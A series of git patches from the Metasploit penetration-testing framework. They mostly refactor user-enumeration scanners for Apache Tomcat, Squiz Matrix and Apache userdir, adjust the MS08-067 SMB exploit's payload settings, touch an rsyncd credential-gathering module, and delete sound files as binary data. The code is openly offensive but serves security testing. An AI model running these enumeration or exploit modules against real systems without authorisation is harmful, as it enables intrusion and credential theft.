a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Payload' => { - 'Space' => 450, + 'Space' => 410, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", 'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment 'StackAdjustment' => -3500, From 38a9efe4d6e7d35f3def97ce5eb7ebdc8a4612c6 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 11:22:05 -0600 Subject: [PATCH 1327/2172] Fix squiz_matrix_user_enum for full_uri --- .../scanner/http/squiz_matrix_user_enum.rb | 37 ++++++++----------- 1 file changed, 15 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index fc775671c0..56a0b065c0 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -40,21 +40,12 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('URI', [true, 'The path to users Squiz Matrix installation', '/']), + OptString.new('TARGETURI', [true, 'The path to users Squiz Matrix installation', '/']), OptInt.new('ASSETBEGIN', [ true, "Asset ID to start at", 1]), OptInt.new('ASSETEND', [ true, "Asset ID to stop at", 100]), ], self.class) end - def target_url - uri = normalize_uri(datastore['URI']) - proto = 'http' - if rport == 443 || ssl - proto = 'https' - end - "#{proto}://#{vhost}:#{rport}#{uri}" - end - def run_host(ip) @users_found = {} @@ -69,9 +60,9 @@ class Metasploit3 < Msf::Auxiliary end if(@users_found.empty?) - print_status("#{target_url} - No users found.") + print_status("#{full_uri} - No users found.") else - print_good("#{target_url} - Users found: #{@users_found.keys.sort.join(", ")}") + print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}") report_note( :host => rhost, :port => rport, @@ -110,16 +101,18 @@ class Metasploit3 < Msf::Auxiliary def do_enum(asset) begin + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ - 'uri' => "#{target_url}?a=#{asset}", + 'uri' => "#{uri}?a=#{asset}", 'method' => 'GET' }, 20) if (datastore['VERBOSE']) if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>(\w+)<\/i>/) - print_status("#{target_url}?a=#{asset} - Trying Asset: '#{asset}' title '#{$1}'") + print_status("#{full_uri}?a=#{asset} - Trying Asset: '#{asset}' title '#{$1}'") else - print_status("#{target_url}?a=#{asset} - Trying Asset: '#{asset}'") + print_status("#{full_uri}?a=#{asset} - Trying Asset: '#{asset}'") end end @@ -127,25 +120,25 @@ class Metasploit3 < Msf::Auxiliary user=$1.strip # try the full name of the user - tmpasset = asset -1 + tmpasset = asset - 1 res = send_request_cgi({ - 'uri' => "#{target_url}?a=#{tmpasset}", + 'uri' => "#{uri}?a=#{tmpasset}", 'method' => 'GET' }, 20) if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>Inbox<\/i>/) - tmpasset = asset -2 + tmpasset = asset - 2 res = send_request_cgi({ - 'uri' => "#{target_url}?a=#{tmpasset}", + 'uri' => "#{uri}?a=#{tmpasset}", 'method' => 'GET' }, 20) - print_good("#{target_url}?a=#{asset} - Trying to obtain fullname for Asset ID '#{asset}', '#{user}'") + print_good("#{full_uri}?a=#{asset} - Trying to obtain fullname for Asset ID '#{asset}', '#{user}'") if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>(.*)<\/i>/) fullname = $1.strip - print_good("#{target_url}?a=#{tmpasset} - Squiz Matrix User Found: '#{user}' (#{fullname})") + print_good("#{full_uri}?a=#{tmpasset} - Squiz Matrix User Found: '#{user}' (#{fullname})") @users_found["#{user} (#{fullname})"] = :reported end else - print_good("#{target_url} - Squiz Matrix User: '#{user}'") + print_good("#{full_uri} - Squiz Matrix User: '#{user}'") @users_found[user] = :reported end From 8f459de06486f5014fca6e7df732f23d5b806e9c Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 11:23:35 -0600 Subject: [PATCH 1328/2172] Fix tomcat_enum for full_uri --- modules/auxiliary/scanner/http/tomcat_enum.rb | 39 +++++++------------ 1 file changed, 15 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 415738a65c..9a4c1e244f 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('URI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']), + OptString.new('TARGETURI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']), OptPath.new('USER_FILE', [ true, "File containing users, one per line", File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]), ], self.class) @@ -49,20 +49,11 @@ class Metasploit3 < Msf::Auxiliary deregister_options('PASSWORD','PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS','USERNAME') end - def target_url - uri = normalize_uri(datastore['URI']) - proto = 'http' - if rport == 443 || ssl - proto = 'https' - end - "#{proto}://#{vhost}:#{rport}#{uri}" - end - def has_j_security_check? - vprint_status("#{target_url} - Checking j_security_check...") - res = send_request_raw({'uri' => normalize_uri(datastore['URI'])}) + vprint_status("#{full_uri} - Checking j_security_check...") + res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if res - vprint_status("#{target_url} - Server returned: #{res.code.to_s}") + vprint_status("#{full_uri} - Server returned: #{res.code.to_s}") return true if res.code == 200 or res.code == 302 end @@ -71,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) unless has_j_security_check? - print_error("#{target_url} - Unable to enumerate users with this URI") + print_error("#{full_uri} - Unable to enumerate users with this URI") return end @@ -82,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary } if(@users_found.empty?) - print_status("#{target_url} - No users found.") + print_status("#{full_uri} - No users found.") else - print_good("#{target_url} - Users found: #{@users_found.keys.sort.join(", ")}") + print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}") report_note( :host => rhost, :port => rport, @@ -96,34 +87,34 @@ class Metasploit3 < Msf::Auxiliary def do_login(user) post_data = "j_username=#{user}&password=%" - vprint_status("#{target_url} - Apache Tomcat - Trying name: '#{user}'") + vprint_status("#{full_uri} - Apache Tomcat - Trying name: '#{user}'") begin res = send_request_cgi( { 'method' => 'POST', - 'uri' => normalize_uri(datastore['URI']), + 'uri' => normalize_uri(target_uri.path), 'data' => post_data, }, 20) if res and res.code == 200 and !res.get_cookies.empty? - vprint_error("#{target_url} - Apache Tomcat #{user} not found ") + vprint_error("#{full_uri} - Apache Tomcat #{user} not found ") elsif res and res.code == 200 and res.body =~ /invalid username/i - vprint_error("#{target_url} - Apache Tomcat #{user} not found ") + vprint_error("#{full_uri} - Apache Tomcat #{user} not found ") elsif res and res.code == 500 # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html - vprint_good("#{target_url} - Apache Tomcat #{user} found ") + vprint_good("#{full_uri} - Apache Tomcat #{user} found ") @users_found[user] = :reported elsif res and res.body.empty? and res.headers['Location'] !~ /error\.jsp$/ # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html - print_good("#{target_url} - Apache Tomcat #{user} found ") + print_good("#{full_uri} - Apache Tomcat #{user} found ") @users_found[user] = :reported else - print_error("#{target_url} - NOT VULNERABLE") + print_error("#{full_uri} - NOT VULNERABLE") return :abort end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - print_error("#{target_url} - UNREACHABLE") + print_error("#{full_uri} - UNREACHABLE") return :abort end end From a692a5d36c1287f987aa928cc1017eefe64a3c43 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 25 Nov 2015 11:23:18 -0800 Subject: [PATCH 1329/2172] Remove Platform, this should work everywhere; correct grammar --- modules/post/multi/gather/rsyncd_creds.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 5e5dab42f5..3957d37875 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -19,14 +19,13 @@ class Metasploit3 < Msf::Post ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ], - 'Platform' => %w(bsd linux osx unix), 'SessionTypes' => %w(shell) ) ) register_options( [ - OptString.new('USER_CONFIG', [false, 'Attempt to passwords from this RSYNC ' \ + OptString.new('USER_CONFIG', [false, 'Attempt to get passwords from this RSYNC ' \ 'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf']) ] ) From 2da9bb85783b58f1f38f5c2838c38ce29d1c2b88 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 13:26:16 -0600 Subject: [PATCH 1330/2172] Follow redirects in apache_userdir_enum Found false negatives while testing a server for #6281. --- modules/auxiliary/scanner/http/apache_userdir_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index 1ba9f3fa3f..483f7acb5d 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary uri = normalize_uri(target_uri.path) payload = "#{uri}~#{user}/" begin - res = send_request_cgi( + res = send_request_cgi!( { 'method' => 'GET', 'uri' => payload, From a56571479f729f916006b723c6ed4012708ec252 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 25 Nov 2015 11:38:32 -0800 Subject: [PATCH 1331/2172] Remove WmapScanServer mixin; not needed --- modules/auxiliary/scanner/http/git_scanner.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 6a2b04fac0..ee027272ff 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -7,7 +7,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report From fa32f43ee48a2d6f46ac86a73b569165d45b513a Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 25 Nov 2015 18:06:58 -0600 Subject: [PATCH 1332/2172] Muts says "Try harder!" or "Excellent" for the sounds plugin With the sounds plugin, muts will say "excellent!" when a session is received. If a session is terminated (either exited or lost), muts will say "try harder!" --- data/sounds/default/address.wav | Bin 28716 -> 0 bytes data/sounds/default/closed.wav | Bin 34764 -> 0 bytes data/sounds/default/dot.wav | Bin 23564 -> 0 bytes data/sounds/default/num0.wav | Bin 23116 -> 0 bytes data/sounds/default/num1.wav | Bin 20428 -> 0 bytes data/sounds/default/num2.wav | Bin 20876 -> 0 bytes data/sounds/default/num3.wav | Bin 19756 -> 0 bytes data/sounds/default/num4.wav | Bin 22444 -> 0 bytes data/sounds/default/num5.wav | Bin 30732 -> 0 bytes data/sounds/default/num6.wav | Bin 27596 -> 0 bytes data/sounds/default/num7.wav | Bin 25804 -> 0 bytes data/sounds/default/num8.wav | Bin 17964 -> 0 bytes data/sounds/default/num9.wav | Bin 24684 -> 0 bytes data/sounds/default/opened.wav | Bin 28268 -> 0 bytes data/sounds/default/plugin_load.wav | Bin 122124 -> 0 bytes data/sounds/default/plugin_unload.wav | Bin 94796 -> 0 bytes data/sounds/default/port.wav | Bin 25356 -> 0 bytes data/sounds/default/session.wav | Bin 25580 -> 0 bytes .../default/session_open_meterpreter.wav | Bin 114508 -> 0 bytes data/sounds/default/session_open_shell.wav | Bin 111148 -> 0 bytes data/sounds/default/session_open_vnc.wav | Bin 109132 -> 0 bytes plugins/sounds.rb | 18 +++++++----------- 22 files changed, 7 insertions(+), 11 deletions(-) delete mode 100755 data/sounds/default/address.wav delete mode 100755 data/sounds/default/closed.wav delete mode 100755 data/sounds/default/dot.wav delete mode 100755 data/sounds/default/num0.wav delete mode 100755 data/sounds/default/num1.wav delete mode 100755 data/sounds/default/num2.wav delete mode 100755 data/sounds/default/num3.wav delete mode 100755 data/sounds/default/num4.wav delete mode 100755 data/sounds/default/num5.wav delete mode 100755 data/sounds/default/num6.wav delete mode 100755 data/sounds/default/num7.wav delete mode 100755 data/sounds/default/num8.wav delete mode 100755 data/sounds/default/num9.wav delete mode 100755 data/sounds/default/opened.wav delete mode 100755 data/sounds/default/plugin_load.wav delete mode 100755 data/sounds/default/plugin_unload.wav delete mode 100755 data/sounds/default/port.wav delete mode 100755 data/sounds/default/session.wav delete mode 100755 data/sounds/default/session_open_meterpreter.wav delete mode 100755 data/sounds/default/session_open_shell.wav delete mode 100755 data/sounds/default/session_open_vnc.wav diff --git a/data/sounds/default/address.wav b/data/sounds/default/address.wav deleted file mode 100755 index 941524e448d236fe927b44c72788ee2c0220d326..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28716 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 